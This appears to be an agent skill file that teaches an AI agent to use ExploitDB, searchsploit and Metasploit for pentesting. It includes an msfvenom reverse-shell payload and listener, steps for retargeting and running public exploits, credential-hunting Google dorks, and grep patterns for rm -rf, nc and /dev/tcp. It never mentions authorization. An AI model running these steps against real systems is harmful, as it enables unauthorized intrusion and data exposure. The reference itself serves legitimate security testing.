exploitdb

name	exploitdb
description	Search and use ExploitDB and searchsploit — the largest public archive of exploits, shellcode, and papers maintained by Offensive Security. Use when working with offensive-security/exploitdb, when the user needs to find public exploits for a CVE or software version, use searchsploit CLI on Kali, examine or mirror exploit code, parse nmap XML for matching exploits, query the Google Hacking Database (GHDB), update the local database, or integrate findings into Metasploit. Covers searchsploit flags, reading exploits safely, modification for targets, and GHDB usage.
metadata	{"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/offensive-security/exploitdb","language":"Shell/Python"}

exploitdb Agent Skill

When to Use This Skill

Use this skill when:

• Searching for public exploits against a specific product, version, or CVE
• Using searchsploit on Kali Linux to query the local ExploitDB offline copy
• Mirroring exploit code to the current working directory for modification
• Parsing nmap XML output to automatically search exploits for discovered services
• Browsing the Google Hacking Database (GHDB) for OSINT/recon dorks
• Integrating ExploitDB findings with Metasploit
• Updating the local exploit database copy

What ExploitDB Does

ExploitDB is a curated public archive of exploit code, shellcode, and security papers covering vulnerabilities in thousands of software products since the 1990s. The primary access method during engagements is searchsploit, a CLI tool bundled with Kali Linux that queries a local offline copy of the database — no internet required. The web interface at exploit-db.com provides the same data with web search, filters, and direct download. ExploitDB is a first stop for identifying known public exploits during CVE research and post-recon vulnerability triage.

Installation

Kali Linux (pre-installed)

# searchsploit is part of the exploitdb package
which searchsploit     # /usr/bin/searchsploit
searchsploit --version

# Update local database copy
sudo searchsploit -u
# or
sudo apt update && sudo apt upgrade exploitdb

Other Debian/Ubuntu

sudo apt install exploitdb
# If not in repos:
sudo git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit

Manual (any Linux/macOS)

git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
echo "export PATH=/opt/exploitdb:\$PATH" >> ~/.bashrc
source ~/.bashrc
# Configure .searchsploit_rc to point at correct path
echo "GitLoc=/opt/exploitdb" > ~/.searchsploit_rc

Docker (no local install needed)

docker run --rm -it kalilinux/kali-rolling bash -c "apt update && apt install -y exploitdb && searchsploit apache"

searchsploit CLI Reference

Basic search

# Search by product name (case-insensitive, partial match)
searchsploit apache
searchsploit wordpress
searchsploit "openssh 7.2"

# Multi-word search (AND logic — all terms must match)
searchsploit apache struts 2.5
searchsploit nginx 1.14 overflow

# Search by CVE
searchsploit CVE-2021-44228    # Log4Shell
searchsploit CVE-2017-0144     # EternalBlue

# Exact version matching
searchsploit "apache 2.4.49"

Output control

# Compact output (default wide table)
searchsploit -w apache   # Opens exploit-db.com URL in output

# JSON output (machine-readable)
searchsploit --json apache > results.json

# JSON with full details
searchsploit --json "openssh" | jq '.[] | {id: .EDB_ID, title: .Title, path: .Path}'

# Colour off (for piping)
searchsploit --colour apache | grep -i "remote"

Filtering by platform and type

# Filter by type
searchsploit --type remote apache          # Remote exploits only
searchsploit --type local windows 10       # Local privilege escalation
searchsploit --type webapps wordpress      # Web application exploits
searchsploit --type dos apache             # Denial-of-service

# Types: remote, local, dos, webapps, papers, shellcode

# Filter by platform
searchsploit --platform linux apache
searchsploit --platform windows smb
searchsploit --platform php wordpress

# Platforms: linux, windows, macos, android, ios, php, asp, java, python, ...

# Combine
searchsploit --type remote --platform linux apache 2.4

Examining exploit code

# Examine (print exploit to stdout) by EDB-ID
searchsploit -x 47887
searchsploit --examine 47887

# Or by path (searchsploit output shows path)
searchsploit -x exploits/linux/remote/47887.py

# Open in default $EDITOR
searchsploit -e 47887

# Print with syntax highlighting (bat if available)
searchsploit -x 47887 | bat -l python

Mirroring exploits (copy to CWD)

# Copy exploit file to current working directory
searchsploit -m 47887
searchsploit --mirror 47887

# Mirror multiple
searchsploit -m 47887 50417 42315

# Mirror all results from a search
searchsploit --json "wordpress 5.8" | \
  jq -r '.[].EDB_ID' | \
  while read id; do searchsploit -m $id 2>/dev/null; done

Path lookup

# Show full path to exploit file
searchsploit -p 47887

# Useful for reading without mirroring
cat $(searchsploit -p 47887 | awk '/Path:/{print $2}')

nmap XML integration

# Auto-search exploits for services found by nmap
nmap -sV -p- --open 10.10.10.100 -oX scan.xml
searchsploit --nmap scan.xml
searchsploit -x --nmap scan.xml   # Also print matching exploit code

# This parses service/version fingerprints and runs searchsploit for each service
# Very useful for rapid post-scan triage

Author and date search

# Search by exploit author
searchsploit --author "Metasploit"
searchsploit --author "EDB-VERIFY"

# Filter by date (YYYY-MM-DD)
searchsploit --date-from 2023-01-01 --date-to 2023-12-31 "apache"

Database Location and Structure

# Default database location
ls /usr/share/exploitdb/
# exploits/       — exploit files organized by platform/type
# shellcodes/     — shellcode samples
# papers/         — security papers
# files_exploits.csv  — index of all exploits (searchable)
# files_shellcodes.csv

# Browse by platform
ls /usr/share/exploitdb/exploits/linux/remote/
ls /usr/share/exploitdb/exploits/windows/local/
ls /usr/share/exploitdb/exploits/multiple/webapps/

# File naming: EDB-ID.extension
# 47887.py = EDB-ID 47887, Python exploit

Reading Exploits Safely

Before running ANY public exploit code, read and understand it:

# 1. Mirror to isolated working directory
mkdir /tmp/exploit-work && cd /tmp/exploit-work
searchsploit -m 47887

# 2. Read the exploit header — always contains:
#    - CVE ID
#    - Affected versions
#    - Usage instructions
#    - Author and discovery date
head -50 47887.py

# 3. Check for destructive payloads (rm -rf, format, etc.)
grep -iE "(rm -rf|format|wipe|dd if)" 47887.py

# 4. Check for hardcoded C2/callbacks
grep -iE "(curl|wget|nc |bash -i|/dev/tcp)" 47887.py

# 5. Verify dependencies
grep -iE "^import|^require|^use " 47887.py | head -20

# 6. Run in isolated environment (Docker or VM)
docker run --rm -it python:3 bash

Modifying Exploits for Your Target

Public exploits often require adaptation:

# Common modifications needed:
# 1. Change target IP/port
sed -i 's/192.168.0.1/10.10.10.100/' exploit.py
sed -i 's/8080/443/' exploit.py

# 2. Adjust payload (shell IP/port)
# msfvenom → replace hardcoded shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f py -v shellcode
# Paste output into exploit's shellcode variable

# 3. Fix Python 2 → 3 compatibility
2to3 -w exploit.py

# 4. Fix raw bytes for Python 3
# Change: buf = "\x90\x90..."
# To:     buf = b"\x90\x90..."

# 5. Add verbose/debug output
# Insert: print(f"[*] Sending payload to {target}:{port}")

# 6. Test connectivity before exploit
# Add: socket.connect((target, port)) before exploit logic

Google Hacking Database (GHDB)

The GHDB is a searchable collection of Google dorks — search operator strings that uncover sensitive data exposed via web search engines.

# Access via web
# https://www.exploit-db.com/google-hacking-database

# Categories:
# Footholds         — exposed admin panels, login portals
# Files containing usernames  — config files with creds
# Sensitive directories — .git, backup dirs, etc.
# Web server detection — server version banners
# Vulnerable files   — known-vulnerable scripts
# Vulnerable servers — misconfigured services
# Error messages     — verbose errors with paths/DB info
# Default credentials — default login pages

# Example dorks (manual Google search):
# intitle:"index of" ".env"
# filetype:sql "INSERT INTO" "password"
# inurl:wp-admin site:target.com
# inurl:.git/HEAD site:target.com
# "HTTP_SERVER_VARS" filetype:php
# site:pastebin.com "target.com" password

# Automated dork scanning (external tool)
pip install googler
googler -n 10 'site:target.com filetype:sql'
# Or use dorkbot, DorkSearch CLI tools

Integration with Metasploit

# Find Metasploit module equivalent to an EDB exploit
searchsploit -m 42315   # Mirror the exploit
head -20 42315.rb       # Check if it's already an MSF module (some are)

# Search MSF for the same CVE
msfconsole -q -x "search CVE-2021-44228; exit"

# If no MSF module, run the exploit directly and catch with MSF handler
msfconsole -q
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444
run -j

# Then execute the EDB exploit: python3 42315.py 10.10.10.100

# Convert Python exploit to MSF module (advanced)
# Copy to /usr/share/metasploit-framework/modules/exploits/
# Follow MSF module development guide

Web Interface (exploit-db.com)

# Filters available on the web:
# - Type: Remote / Local / DoS / WebApps / Papers
# - Platform: Windows / Linux / PHP / etc.
# - Verified: Only verified/tested exploits
# - Date range
# - Author

# Direct CVE URL
curl "https://www.exploit-db.com/search?cve=2021-44228"

# Direct EDB-ID URL
curl "https://www.exploit-db.com/exploits/50592"

# Download exploit code
curl -sSL "https://www.exploit-db.com/raw/50592" -o 50592.py

Keeping the Database Updated

# Update via searchsploit (git pull under the hood)
sudo searchsploit -u

# Manual git pull
cd /usr/share/exploitdb && sudo git pull

# Check current database date
head -1 /usr/share/exploitdb/files_exploits.csv
git -C /usr/share/exploitdb log --oneline -5

# Full reinstall (if database is corrupt)
sudo apt reinstall exploitdb

Common Workflows

Workflow 1: Post-nmap triage

nmap -sV -p 21,22,80,443,445,3389 --open 10.10.10.0/24 -oX sweep.xml
searchsploit --nmap sweep.xml | tee sploit-findings.txt
# Review — manually examine relevant exploits
grep "EDB-ID" sploit-findings.txt | awk '{print $NF}' | \
  while read id; do searchsploit -m $id; done

Workflow 2: Version-specific exploit search (HTB/CTF style)

# Banner: Apache httpd 2.4.49 ((Unix))
searchsploit --type remote apache 2.4.49
searchsploit -m 50383    # CVE-2021-41773 path traversal
cat 50383.py | head -30
python3 50383.py -t http://10.10.10.100

Workflow 3: Windows priv-esc after foothold

# Enumerate OS: Windows Server 2008 R2 SP1
searchsploit --type local --platform windows "2008"
# Look for MS17-010, MS16-032, CVE-2019-0708, etc.
searchsploit -m 39719   # MS16-032 secondary logon priv-esc

Troubleshooting

Problem	Cause	Fix
searchsploit: command not found	Not installed or not in PATH	sudo apt install exploitdb or fix PATH
Empty search results	Too specific / wrong version format	Broaden search, try product name only
.searchsploit_rc error	Wrong GitLoc path	Set GitLoc=/usr/share/exploitdb
Database outdated (missing CVEs)	Not updated	sudo searchsploit -u
Exploit requires Python 2	Old exploit	Use python2 exploit.py or 2to3 -w exploit.py
Exploit errors on run	Target version mismatch	Read exploit header, verify affected versions
--nmap finds nothing	Service detection insufficient	Re-run nmap with -sV --version-intensity 9

---

Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.

redhound.us | GitHub | Book a consultation